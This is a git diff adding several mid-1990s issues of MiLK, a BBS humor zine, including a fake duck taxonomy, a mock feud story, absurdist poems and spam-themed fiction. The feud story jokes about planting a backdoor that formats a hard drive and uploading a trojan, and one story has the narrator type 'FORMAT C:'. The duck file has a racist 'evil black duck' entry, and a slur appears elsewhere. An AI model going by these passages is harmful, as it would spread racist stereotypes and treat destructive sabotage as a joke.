+ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÄÄ> MiLK File #48: "How To / Sarcasm" By whOOps <ÄÄÄ + (This File Just wasted 6123 bytes of your hard drive) + diff --git a/textfiles.com/magazines/MILK/milk-049.txt b/textfiles.com/magazines/MILK/milk-049.txt new file mode 100644 index 00000000..c81cc1c1 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-049.txt @@ -0,0 +1,139 @@ + Ü Ü Ü Mighty Issue #49 + Ü Ü Û Û Ü illicit "The Big Book of Ducks" + Û ß Û Û Û ÛÛ Liquid -By Malakai + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + As you may know I have released a previous T-File on the Religion of +the Spamibiterians, of which I am a member. Well, if you wish to join or just +want more information on these incredibly powerful creatures, READ ON, for +this is all about the types of ducks. I'll bet you think there are only a few +types of ducks, well, you're wrong! There's a lot of ducks out there, they are +just waiting to be discovered by us Spaminites! + + The Duck Classifications + +Normal Duck: Duckius Averatis; These ducks show a variety of different traits, +they are the simplest form of which these higher life forms exist in. They +feed often on small insects and small plants, these are also the easiest to +train for household use. + +Bottle-Nosed Duck: Duckius Snoutisrundus; These ducks show a resemblence in +the beak to that of a bottle nosed dolphin. These ducks are excellent swim- +mers and offer good protection against sharks and whales, do to thier incre- +dibly affinity with all creatures of the water. If you plan on taking a cruise, +take one of these ducks along, the Chiakind are known to make suprise visits, +and they may even mezmerize a shark to KILL you with. These ducks eat insects +and spam, but spam can only be fed to them once a week. + +Flightless Duck: Duckius Retardis; These ducks are also known as penguins, who +are most often very spiffy dressers. The term PENGUIN is false as the 'PENG- +UINS' are REALLY ducks in disguise ; These ducks are hard to +train, but once trained will hang around your freezer, it's good if you are on +a diet and want to be kept away from your food, as this duck will guard it with +its life. The only problem is, you have to get a new one every night if you +want to eat, because you have to kill the previous one. They eat water. + +The Huge Ass Duck: Duckius Majora Posteria; These ducks are about 10 feet tall +and make EXCELLENT body guards. Thier bulging wingceps and the ugly faces make +the chia run in terror. You MUST keep these chained up, as these are carnivor- +ous! They feed on small children and large rabbits, and of course, Spam. For +the healthies Duckius Majora Posteria, feed it one can a day, but drain the +juice into your houseducks water dish, otherwise you will stunt its growth. + +Black Avain Duck: Duckius Negro; This duck is an all black, beak as well, +version of the standard duck. This duck is an EVIL duck and often sides with +those of the chiakind, so beware, they often PAINT themselves white so they +can sneak into your house and kill you or your ducks. They eat ducks, spam, +and human flesh... again BEWARE. + +Protection Duck: Duckius Proticta; This duck is a virtual force field. It is +apparently a normal duck with a mutant ability to create an intense energy +field which only affects other energy sources. This duck is handy to have +around the house, and is also great to have on starships and such, as you +never know when you need protection from phasers and photon torpedos. The +only set back is the must eat head cheese. + +Shapeshifter Duck: Duckius Nottaoneforma; This duck is capable of shifting +into any form up to the size of a 6' 200 lb. human. They are masters of +disguise and very loyal, but they must be raised as hatchlings, otherwise +they are very troublesome to thier owners These eat spam and only this, +as Spam is what we believe gives them the ability to shapeshift. + +Daffy Duck: Duckius Famis; This duck is a famous actor from who has turned +to a life of helping people, he appears to be a slight variant of the Black +Avian Duck breed, but his beak and legs are orange. The Duck Intelligence is +working on discovering more about this as time goes on, so be ready for up- +dates! + +--- --- --- --- --- + + Training Tips for Duck Training + + Training ducks will be the hardest thing you will have to deal with +in the Religion of Spamibiteria. They are very SPECIAL animals and require +oftentimes SPECIAL attention! So I have provided 5 training tips for your +raising of your own ducks! + +1) Encourage your duck as you teach him to cook/clean/etc.. by the time you +have fully trained him, he will be 100% loyal + +2) If you can, during the 1st 2 monthes you own your duck, feed him one +spoonful of spam per day, this will encourage his growth as well as make +him more loyal to you, remember these tips are also for Normal ducks only. + +3) Remember, PHYSICALLY train your duck as well as mentally. If you have to, +you must buy Weighlifting equipment for your duck. Those who want to have a +duck for hard labour should seriously consider this. + +4) You shouldn't expect too much from your duck. Ducks may be extroidinarily +intelligent and strong, but don't OVER do it. Do not attempt to have him build +a nucleur bomb nor should you attempt +to have a duck move your car out by picking it up Remember, these +are rare exceptions, so do not over-estimate the power of your duck. + +5) Have fun with your duck! Play with it daily, you will begin to see +substantial improvements in all areas if you do, because fun is like a boost +for a duck! Try and teach them mental games as well as physical. One of my +ducks favorite games is chess, the duck is a CHESS-MASTER! He beat Chess- +Master 2000 on Expert level, so I guess he's a bit better than me, but I'll +never let him know that + + +------- + +Disclaimer: If you attempt to train a duck with this specifications, I am not +responsible for any insanity of the duck, death of said duck, or just the +training not working. No purchase nessecary. Batteries not included. And of +course, void where prohibited. + +------- + +All References to Spam/Chiapets/etc.. can be explained by reading MiLK #37, +The Guide to the Religion of the Spamibiterians. + +------- + +Remember, the only good duck, is a healthy duck! + + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û Violent Playground.........(908)920-2575 [14,400] +Û²²²²²²²²²²²Û Black Dragon BBS...........(703)885-3072 [14,400] +ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÄÄ> MiLK File #49: "The Big Book of Ducks" By Malakai <ÄÄÄ + (This File Just wasted 7241 bytes of your hard drive) + diff --git a/textfiles.com/magazines/MILK/milk-050.txt b/textfiles.com/magazines/MILK/milk-050.txt new file mode 100644 index 00000000..e1c333dd --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-050.txt @@ -0,0 +1,166 @@ + Ü Ü Ü Mighty Issue #50 + Ü Ü Û Û Ü illicit "[MiLK] Update 7/94" + Û ß Û Û Û ÛÛ Liquid -By "Concerned [MiLK] Members" + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Hello, we're coming to you live from the inside of the [MiLK] Tfile +Headquarters, The Obloid Sphere. I'm afraid it's become a MADHOUSE in here! +All hell is breaking loose! Epic has flooded the main floor of the complex +with Tang[tm]! All the eggplants have been taken out of the refrigerator +and are rotting! The mangos have been thrown into the trash compactor! +The messages are being tossed into the paper shredder! Weasels are throwing +themselves in front of speeding trains in desperation. If something doesn't +stop this total anarchy quickly, Obloid will be nothing more than a Default +Renegade BBS with an open Archive Menu, just waiting to be hacked, +slaughtered, destroyed, or otherwise ruined. + + We better explain to you how this all happened. You see, it all +started with a few simple posts on Obloid, one of the few lasting Message +boards in Chicago. James Hetfield, The Sysop, posted this message, which +was soon going to be the latest [MiLK] Text file: + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Now, I know that you've all seen the recent outpour of Fruit drink +commericals on the radio and Television. Well, this is all because the +Fruit Drink wars of the '90s have began. You think the '80s and the Cola +wars were bad? Well, this will show us once and for all what the best fruit +drink in America is; Fruitopia. + + First off, the Propaganda campaign for this drink is unmatched. How +much more Policitally correct can you get then naming your drinks +"Strawberry/Passion Awareness" and "Fruit Integration" and other such +wonderful things? + + Let me read you the little "Fruitopian Life" quote on the side of this +bottle of Fruitopia I have. "The person next to you loves you very much. +Please share this Fruit Integration with him/her." Now this, my friends, is +the most wonderful ad campaign known. Why would anyone choose Snapple, that +horrible muck with such polictially INCORRECT names of drinks as "Mango +MADNESS", when you can have Fruit Integration? It just doesn't make sense +to me. + + I predict that Fruitopia will make the Earth shake and the Oceans rise +and the trees fall from its wrath. Carbonated beverages will be a thing of +the PAST once Fruitopia becomes the land's favorite drink. + + Drink Fruitopia. The Best Stuff on Earth. (I guess that means Snapple +is made from Fruitopia...) + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Soon afterward, Epic, One of the Founding Writers of [MiLK], Posted +what he said was going to be HIS next [MiLK] Text File: + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Hi-Ho, Epic dee Frog here, and I'm writing this piece right now to +support the case for abolishing lame fruit drinks like "Fruitopia" and +"Snapple". + + Have you seen all the coolest alterna-teens gulping down a sickly +Fruitopia? Or the local meatheads quenching their thirst with a moldy +Snapple? I'm sure you have. These so-called beverages are ripping through +today's society like a horrible disease (much like leprosy, or shingles). +Prevent this. Drink the good shit. + + Who needs crappy primate piss in a jar when you can enjoy a tall Dr +Pepper, or a refreshing Slurpee? Even a good RC Cola, a fresh lemonaide, or a +hit of gummi-bear juice would please your yearning tastebuds even more. And +of course, don't forget the Tang! + + Beverages are generally made to come in nice metal cans, not big +jars. Jars should be reserved for uses such as storing jelly, or capturing +small insects (or incest. or incense for that matter.) Why does Snapple even +come in those jars anyway? If I was marketing such a horrible product (god +forbid) I would enclose it in someway that the customer couldn't see the +miserable muck they are buying. I see meatheads raise their jars of death to +their lips, and I see the liquid flow out of the jar and down their throats. +Nestea is passable, but the other crap has to go. Frankly (and I'm sure Frank +would agree), it makes me wretch. + + So enjoy the finer taste sensations. If you have the cash to spare, +buy a fucking Cappio! If not, at least mix yourself up some Tang or something +worthwhile. This fruit drink crap is just the latest trend, and is sure to +pass just as quick as hula-hoops, nelson backpacks, and Coke II. Don't be a +fool. Nothing beats the real thing. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Well, this reply by Epic INFURIATED Jamesy, who after long thought, +saw this as an attack on himself, and retorted by calling Epic a "Wanker". +This led to Epic posting that James Hetfield was a "Noodle Butt". Well, +Jamesy deleted this post before anyone else could see it, and pulled Epic +into chat. He persisted to call Epic a "West Side Wigger" and a "Carbonated +Drink Drinking Lamer". Epic called Jamesy a "Dog Raper" and a "Piss Water +Sucker". And So On, this conversation lasted like this for about 15 minutes, +when Jamesy decided to hit the dreaded Alt-H keys. Epic jacked himself +through the cyberspace until he got back to The Obloid Sphere, where Jamesy +had so evilly hung up on him, HIM, a [MiLK] Writer himself! Epic rigged +Obloid with backdoor, that called a batch file that formatted the hard drive +whenever anyone called the BBS and typed "SAFETY PINS" at the main menu. + + People began to see Epic and Jamesy fighting in the message bases, +and they all figured that it was their time to get the access they wanted, +so there was a massive upheaval of hacking and phreaking going on at Obloid. +Pretty soon everyone had s255 access and were leeching all the files in +sight. Jamesy, understanding that he couldn't control his BBS any longer, +went into seclusion. That's when Epic decided to try to conquer The Obloid +Sphere. + + First, all he did was upload a trojan that played the Sound file +"Violet.669" at 200 decibels at 3am in the morning. Then, he preceeded to +lock the board to not accept new users. Finally, he locked Jamesy out of his +own board by making a Network Mode password (SEAMONKIES). Jamesy couldn't +take any more of this, and decided to leave town for a week and ponder what +his next move will be. + + Jamesy went in search of help. He visited the ACME Corporation and +contracted them to develop some anti-Epic equipment, but Jamesy feared their +creations would not be able to stop Epic. He visited wise mages, oracles, +even pool hustlers for advice, he needed everything he could get. + + Epic himself was scrambling for a plan. He travelled far and wide, +leeched information through the Internet, spoke with Dr. Demento, anything he +could get his (freshly washed and nice smelling) hands on. He consulted his +trusty thesaurus, his trusty stegosaurus, and even the Hitchhiker's Guide To +The Galaxy. He found himself plump with knowledge, but was still unsure on +what to do. + + So that's where we are now. The anarchists are right about to make +their kill and blow up Jamesy's House. The Phreakers are right about to +steal Jamesy's phone lines. The Epic followers are right about to start +up their own Text File Group, armed with foam-spraying fire extinguishers and +40 oz'ers of Tang. And The Dish is right about to run away with the Spoon. + + Will Jamesy ever return to answer his chat calls again? + Will The Obloid Sphere fall at the hands of H/P/A/V worshippers? + Will The Dish discover The Spoon's torrid affair with The Fork? + Will Epic ever make up and share his Tang with Jamesy again? + Will society at large EVER get fucking tired of that damn Collective + Soul song? + Will [MiLK] Curdle? + + I guess only time will tell the answer to all these questions... but +for now, if you'd like to help out [MiLK], bow your head towards the Mango, +and come up with some decent submissions for [MiLK].. Chances are they will +be accepted... Just think, you could be the hippest cat on the block, and +it's all for a good cause! If you submit to any of the BBSes that are "Dist +Sights", or Headquarters, they will find their way back to Jamesy and will be +looked over... Please, submit to [MiLK]! We need you in our days of crisis! + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û Violent Playground.........(908)920-2575 [14,400] +Û²²²²²²²²²²²Û Black Dragon BBS...........(703)885-3072 [14,400] +ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÄÄ> MiLK File #50: "MiLK Update 7/94" by MiLK Members <ÄÄÄ + (This File Just wasted 9172 bytes of your hard drive) + diff --git a/textfiles.com/magazines/MILK/milk-051.txt b/textfiles.com/magazines/MILK/milk-051.txt new file mode 100644 index 00000000..eb001de4 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-051.txt @@ -0,0 +1,60 @@ + Ü Ü Ü Mighty Issue #51 + Ü Ü Û Û Ü illicit "Propaganda and Shit: ][" + Û ß Û Û Û ÛÛ Liquid -By James Hetfield + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + This is a reply to the reply of Propaganda Unlimited-- Why The +original reply "sucked my cock". + + First off, I was pointing out the stupidest things possible trying +to "diss" this new Text file group, for the silly reason that they were, in +my eyes, a competitor with me. Which was very stupid, becase we're both +literary groups, so there shouldn't be competition, everyone should just be +able to release what they want how they want.. Text file groups should just +be there to make sure the stuff gets distributed. + + So I was way off in my reasoning for the Original bashing file of +Propaganda Unlimited, and I am doing the first "Veto" or "Impeachment" of +a MiLK file. if you have a copy of MiLK File #11, Delete it. It should not +and will not be distributed from any of the MiLK sights listed below in this +text file. Furthermore, don't listen to any of my rantings contained in that +text file, because they were worthless and untrue. PU happens to be a very +good text file group, with quality writers and quality topics. Text file +groups like MiLK and PU should not compete with each OTHER, we should be +trying to lead people astray from the vile and disgusting junk that oh too +many BBSers end up reading instead of WaCky Tfiles; That's right, Anarchy +files. We should be working to banish the Anarchy and 3l1t3 d00d community +from our once fair WaCky realm, before it's too late... + + Here's some reasons why my original theories on PU were way off and +totally wrong: + +1. One of the writers, Nyarlathotep, is also a writer for MiLK. +2. Oregano, one of the writers for PU, is someone that MiLK has been + attempting to get to write for them for ages, but he has refused. +3. Constantine, the editor of PU, is an original BLaH member, and everyone + knows that MiLK is just a BLaH ripoff. +4. Newt, Katy, was a hysterical writer for PU, and her tfiles rank up there + with the best of them. +5. PU has never tried to compete with MiLK; MiLK has always been the vengeful + of the two; there is where I and MiLK has been wrong. + + So, basically, this is an apology for a MiLK file that should have +never come out. + + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û Violent Playground.........(908)920-2575 [14,400] +Û²²²²²²²²²²²Û Black Dragon BBS...........(703)885-3072 [14,400] +ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÄÄ> MiLK File #51: "Propaganda And Shit: ][" <ÄÄÄ + (This File Just wasted 3087 bytes of your hard drive) + diff --git a/textfiles.com/magazines/MILK/milk-053.txt b/textfiles.com/magazines/MILK/milk-053.txt new file mode 100644 index 00000000..f5790608 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-053.txt @@ -0,0 +1,96 @@ + Ü Ü Ü Mighty Issue #53 + Ü Ü Û Û Ü illicit "Conpoems" + Û ß Û Û Û ÛÛ Liquid -By Conradz + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + + +---------------------------------------+ + | Conrad's NUTTY ASCII Poems Volume 17 | + | (c)1995 Conrad & Mother Goose/inc | + +---------------------------------------+ + + + Man's Best Friend + ----------------- + I obtain amusement playing chess with my feline. + He derives joy from creating friction on my leg. + I yearn he would do that with aggrandized high body temperature! + + + The Game + --------- + I hunger for binary libidinous innards, + so that I could frolic + twister with _both_ of my female forebears! + + + Not the Same + ------------ + Mark was a Herculean jewish schoolboy + Who preferred to lend an ear to agreeable sound + While operating with his receptacle + (concealed by his blanket) + In isolation, after nightfall... + In a reverie about cinnamon ants! + + + Blow + ---- + I relish peeping at stark naked quadrupeds, + they make me experience capricious times, + similar to when I assimilate lactose, + in the sunrise, + with my next of kin, joe. + + + don't + ----- + I administer blood intravenously, mom. + I don't give credence to my omnipotent being, sauted Harry. + I don't believe in the canine tooth fairy. + I don't believe in conscientious fish. + I don't believe in disobedient movements. + I don't believe in hippodrome beef cattle. + I don't. + + + Never + ----- + My mammy instructed me it was corrupt to nudge the cockatoo in the eye. + Hitherto, In my predicament, it was elementary to omit her warnings... + Alas, I garroted Louis the Parrot!!!!!!!!!!!! + + + ---------------------------------------------------------------------------- + + I really hope you enjoyed this installment of Poems by Conrad. If you want + to help this starving artist get food and shelter, send $5 to: + + Conrad + PO BOX 753 + Matteson, IL 60443 + + I will, in return, come visit you and give you a back rub. (please?) + + My iNTeRNeT eMaiL bOx: chucks@chinet.com + complaints: milk@ripco.com + death threats: president@whitehouse.gov + + Greets to: Grandaughter psycho (hubba hubba), Chuck, Evil Eye, Jory, + The BARON, the midget from twin peaks, crippled boy from + burger king kid's club, kevin mathiews. + + ÄÄ[An Offical Conrad(SM) Text File]ÄÄÄÄÄÄÄÄ + Halo# = Two + Date = August 1, 1994 + Time = 9:59 PM + I plan to masturbate = (on a diet) + I'd like to thank: Bill gates.. & the doods who did Microsoft Word + Phill MCrackin + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + For more information call 1-800-686-3694 + + Conrad's secret pete 2 of 10: "colorfull" + (when you put these all together _backwards_, it says something cool!) + diff --git a/textfiles.com/magazines/MILK/milk-054.txt b/textfiles.com/magazines/MILK/milk-054.txt new file mode 100644 index 00000000..1cdce229 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-054.txt @@ -0,0 +1,80 @@ + Ü Ü Ü Mighty Issue #54 + Ü Ü Û Û Ü illicit "I'm Here To Make You Bleed" + Û ß Û Û Û ÛÛ Liquid -By Frizzle Fry + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + I'm in your eyes, in your thoughts, in your bodies, +in your minds, in your souls, in your life, and in your death. +I'm in your breakfast cereals. Everything becomes me. +I am the Frizzle Fry. + Here I am, writing my first MiLK file. There's been +too much delay, its about time I got around to it. Contrary +to popular belief, lots of modem user have lives. Scary, +isn't it? I suppose I could tell you something about myself, +but that would be dumb, and boring. I could tell you +something about my friends, but that would be dumb and +boring. I could write a short story entitled "Trouble in the +Bigsby House." But that would require much more thought that I +feel I need to use right now. You see, I'm tired. I went to +Taco Bell tonight and ate too much. I got sick. I lost. +What I'm going to do instead of all of the above mentioned +ideas is just ramble on incohearently. Maybe something +humorous, thought provoking, or entertaining will come out. +Maybe. + Fuck it, I'm gonna write a story that's not about a +farm. + + + "This Story Is Not About A Farm." + + Cecil grew up in a city. A big one. Really big. +This city liked to go by the name of LotzacrimeVille. That +was because ever since the city was founded in 1745 it has had +Lots Of Crime. The man who founded the city was a train +robber. But, that doesn't make a diference cause it's 1994 +and Cecil didn't know that the city was founded by a trian +robber. He also didn't know that higher math didn't mean +counting while holding your fingers above your head. Cecil +didn't know much at all. But he did know that he didn't like +crime. Crime made him mad and it wasn't very much FUN. Playing +"Eat The Shoelaces" was FUN, crime was not. Well, if Cecil +knew what the word 'vigilantie' meant he would know +that he was one. He went around foiling the evil crime doers +dastardly deeds. Well, one day Cecil was walking down the +worst street in town named Bad St. looking for bad men doing +bad things. He came upon a bar that looked particularly nasty +so he went in to find some wrong doings that needed righting. +The first thing he saw was a woman pointing a gun at a man +saying "Give me your wallet!" Cecil put 1 and 1 together and +got 3 but he knew that math didn't mean much in the world of +crime fighting so he didn't care. He did know that guns were +bad and he didn't like bad things so he went over and kicked +the lady in the face with his Dr. Martins that he heard were +very fashionable and he just had to have a pair and she +dropped the gun. He picked up the gun, pointed it at the lady +and said 'It's ok sir, you can go now, everything is safe." +He chuckled and said "Thanks kid.." and scurried.. no, +scurried sounds too.. rodent like.. and ambled out of the bar. The lady stood up and said "I'm a +police officer. That man was bad. He does crime. Give me my +gun back." So Cecil gave her gun back and went to jail. And +that is why this story is not about a farm. + + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û Violent Playground.........(908)920-2575 [14,400] +Û²²²²²²²²²²²Û Black Dragon BBS...........(703)885-3072 [14,400] +ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÄÄ> MiLK File #54: "I'm Here to Make You Bleed" <ÄÄÄ + (This File Just wasted 4162 bytes of your hard drive) + diff --git a/textfiles.com/magazines/MILK/milk-055.txt b/textfiles.com/magazines/MILK/milk-055.txt new file mode 100644 index 00000000..686cd54c --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-055.txt @@ -0,0 +1,88 @@ + Ü Ü Ü Mighty Issue #55 + Ü Ü Û Û Ü illicit "Silly Pathetic Adventures (of) Malakai" + Û ß Û Û Û ÛÛ Liquid -By Malakai + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + The sky was a bright blue on this great Wednesday morning. The sun +was shinning, the sky was clear of clouds, and I was ready to wake up and go +outside for, well, to go outside anyway. I decided it'd be a really nifty +idea to take a walk over to my friends' house in Round Lake Beach, about 2 +miles away. Afterall, after my bike was melted in the sun last week, I +couldn't very well RIDE there. + + I was going down a small hill and everything and was by the big ditch +by the bank, when all of a sudden, the ground became all pink and smooshy. I +was really freaked out by this, so I jumped, and slipped on the pink stuff, +which, when I fell down and tasted it, realized was Spam. I pulled myself up +and tried to stabalize myself on this new terrain and I saw this humanoid who +was made out of spam walking towards me. "Hello there, you look like you have +a problem," the walking spam said. "Yeah, I'm in a world of spam... now, how +am I going to get to my friends house?" I said, I was pretty mad, I mean, +things like this just screw up days, but that wasn't the worst of it. I think +I got spam juice on my magic cards. But the spaminoid spent a minute in +contemplation and said, "Maybe this is a paralell universe? You should go to +your friends' house and see," he smiled at his observation and I kicked him +in the head. "Fuck off, Spamhead." I said, and he fell to the ground. + + This was the 1st time I ever got to kick a piece of spam, so I HAD to +try it. Don't worry, it's not habit forming, otherwise the Lord of the Spam +would have done something about it. So anyway, I continued walking, putting +deep marks in the spam, until I got to my friends house. On my way I noticed +that EVERYTHING was made out of spam, and I was REALLY starting to become +afraid, I mean, what do they eat? If they eat Spam I was surrounded by +Spamibals, and they may even eat ME. But I knocked on the house door, and my +hand flew right through the spam, and I realized, I am SUPER-strong to these +spam people, and super tough. I could do a lot of nifty things. But I ignored +this and walked inside the house, which looked JUST the same as it did in +reality, which was prehaps what this was. + + The only problem was the people here were made of spam, though they +spoke in my friends' voices. So I became pissed off, don't ask me why, and I +picked up the TV made of spam and threw it at them, and it exploded in a +mess of spam. "Ha ha ha ha ha! You stupid PATHETIC LOAVES OF SPAM!" I yelled +at the smeared puddles of spam and spam juice which were once spaminoids. +I decided to make a phone call, maybe my Spaminoid self had a BBS up and +stuff too, maybe THAT was my key back? Maybe aardavarks AREN'T just for +Christmas?! But whatever it was I dialed ATDT 5464605 on my friends spam +computer, and attempted to logon as myself. I used the SAME password as I +did in reality, how convienent. I guess great minds think alike, but so did +ours at this moment. Everything was the same, so I decided to crash my own +system, so I shelled to dos, and typed FORMAT C: and hung up. + + This did NOT work, and by now I was growing insane, so I decided to +do one thing before I gave up on getting back. I would go back to the field +and search for things that may have caused my transportance. I walked back, +and this time, around Burger King (which I was forced to wonder, do they use +Spam Cows for it?) a cop car drove up and two fat pieces of spam got out with +little things that looked like Spam guns. "Freeze, non-spam bag!" said one, +pointing his spam gun at me. Looks like I was in big trouble, so I started to +walk over there, but he shot. The spam splatted on my shirt, which was my +cool Beavis and Butthead shirt, and it would STAIN. So I was REALLY pissed. +I ran over there and punched them both, watching my hand come out the back. +Then I yanked up and my hand flew through the spam. I had to go to confess +at Spamfession DOUBLE time, I had committed some MAJOR sins here. But I then +tossed the dead Copspams into the Copspam car. + + I then proceeded to go into the little valley between the roads and +then, like magic, I was whipped back into the real world. I proceeded to my +friends' house, where they graciously invited me in and told me the story +about a walking spam man who tried to pick up the TV and throw it at them +but couldn't, so he ran out and etc.. like I would believe that, sheah. But +later, when we were going to play magic, there was ONE problem. All my magic +cards were SPAM. What a day, what a day. + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û Violent Playground.........(908)920-2575 [14,400] +Û²²²²²²²²²²²Û Black Dragon BBS...........(703)885-3072 [14,400] +ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÄÄ> MiLK File #55: "S.P.A.M." <ÄÄÄ + (This File Just wasted 5488 bytes of your hard drive) + diff --git a/textfiles.com/magazines/MILK/milk-056.txt b/textfiles.com/magazines/MILK/milk-056.txt new file mode 100644 index 00000000..d477d147 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-056.txt @@ -0,0 +1,81 @@ + Ü Ü Ü Mighty Issue #56 + Ü Ü Û Û Ü illicit "TV today" + Û ß Û Û Û ÛÛ Liquid -By Nyarlathotep + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Society today just isn't what it used to be. Of course not, +silly, because today we have more THINGS then we have ever had before... +and among those THINGS is the one item that is more poisonous to society +then anything ever created by man. Worse then nerve toxins, and nuclear +weapons. Worse then your mother's cooking. What I'm talking about is the +Television. + When the television first came out, it was a true novely, +something never experienced before, and a source of wonder. The +primitive machines (well, relatively speaking) would occupy a prominent +place in the home, perhaps near the fireplace, right next to the radio. +Heck, who needed a radio when you could SEE the drama. The family would +gather around and be amazed at the shows that went on... And of course, +would sit through commercials. But let me get back to that in a bit. + The TV was taking hold, but it had not yet broken our spirit. It +wasn't until the first idiot decided to put their TV in the kitchens, +and change the family dinner from a time to talk together, to a time to +rot together. They even came out with special frozen foods just for this +purpose... The TV dinner. I love them.. but not with TV... + Ok, time went on, and TV had taken more and more of a role in +lives, the complete lives in some peoples cases. For instance the +housewife who sits home all day and watches her soaps, and then watches +more at night. Or the Trekkie, who just can't get enough, just can't get +enough... Or the fools who sit around and watch the OJ Trials. But again, +I shall get to that presently... + TV is not for shows, of course, but for commercials. Where they +try and get the little kids to get their parents to buy them some super +sugary cereal so they can be even more hyper when they play with their +GI Joe with Kung Fu Grip, which they'll ask for en masse, as well. Or +where they sell you some beer that is less filling. Or some nail polish. +Yippee. You get the picture. Maybe I wont buy anything that I see a +commercial on TV for.. which isnt a problem, because I dont watch much. +Ok, its time to advance my essay to near the summit... + I used to watch a TON of TV. I loved it. I would watch + anyting, and when I stopped watching it, it would go off the air. (See + Behind the Scenes with Nyarlathotep, a Classic Obloidism file). But + then one day I got smart. I stopped, for 'the most part. I just got + bored with 99.99 percent of what was on. These days, about all I like + is Northern Exposure, MST 3K, some other comedy central things if I + must... and, of course PBS. Ah, the one last ditch attempt to turn our + enemy into our ally. To use the poison as its own cure. Unfortunatly it + does not work to well. But for its valient cause, I do salute it. + And for the very little amount of TV I watch, I did watch part + of what I call "The Low Speed Car Chase of the Millenia". While + 100000000000000000000000000000000000000 people sat enthralled in front + of their tv sets for 2 hourse watching it, I got bored with the + novelty of it in 5 minutes. I mean at first it waz zomething different. + But then it was the same different, and boring. If it was anyone else, + besides a media hyped celebrity, the cops would have probably pumped + him through with lead. But instead they chased him at 35 miles an hour + down an expressway. Hell, they could have pulled him over for drving + too slow (45 